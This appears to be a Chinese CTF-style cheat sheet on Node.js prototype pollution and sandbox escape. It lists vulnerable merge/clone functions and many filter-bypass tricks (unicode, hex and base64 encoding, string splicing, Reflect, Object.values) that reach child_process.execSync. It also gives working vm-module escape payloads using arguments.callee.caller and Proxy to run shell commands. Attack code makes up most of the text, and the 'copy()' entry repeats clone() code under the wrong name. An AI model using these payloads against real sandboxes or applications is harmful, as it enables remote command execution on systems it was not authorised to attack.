nodejs
沙箱逃逸
原型链污染
! 过滤:__proto__
:constructor.prototype
常见函数是merge()
,clone()
,copy()
-
merge()
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
} -
copy()
function clone(obj) {
return merge({}, obj);
} -
clone()
function clone(obj) {
return merge({}, obj);
}
过滤
js过滤感觉挺简单的,太易变了
-
unicode编码
require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")
-
toUpperCase() / toLowerCase()
'ı'.toUpperCase()='I'
,'ſ'.toUpperCase()='S'
,'K'.toLowerCase()='k'
-
拼接
obj.contructor
:obj["contr"+"uctor"]
-
concat
obj["constru".concat("ctor")]
-
emm
String.fromCharCode(xxx)
-
eval
this
:eval("th"+"is")
-
16进制编码
require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")
-
模版字符串
require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')
-
base64编码
eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString()) |
-
过滤中括号
假如中括号被过滤,可以用
Reflect.get
来绕Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))
剩下两个凑一块看看
-
Obejct.keys
- 利用
Object.values
就可以拿到child_process
中的各个函数方法,再通过数组下标就可以拿到execSync
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')
- 利用
-
Reflect
- 在js中,需要使用
Reflect
这个关键字来实现反射调用函数的方式。譬如要得到eval
函数,可以首先通过Reflect.ownKeys(global)
拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]
即可得到eval console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
这样就拿到eval了,如果过滤了eval
关键字,可以用includes('eva')
来搜索eval
函数,也可以用startswith('eva')
来搜索
- 在js中,需要使用
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")') |
vm
this.tostring
const vm = require('vm'); |
arguments.callee.caller
-
不存在this和其他对象
const vm = require('vm');
const script = `(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a })()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
//严格模式("strict mode")下会导致错误
//arguments是在函数执行的时候存在的一个变量,我们可以通过arguments.callee.caller获得调用这个函数的调用者。触发条件在于console.log('Hello ’ + res) 也就是字符串触发
-
没有字符串相关操作,可以使用Proxy来劫持所有属性
const vm = require('vm');
const script = `(() => {
const a = new Proxy({}, {
get: function() {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
})
return a })()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.xxx)
//只要沙箱外获取了属性,就能触发get方法,就能执行命令
vm = require('vm'); |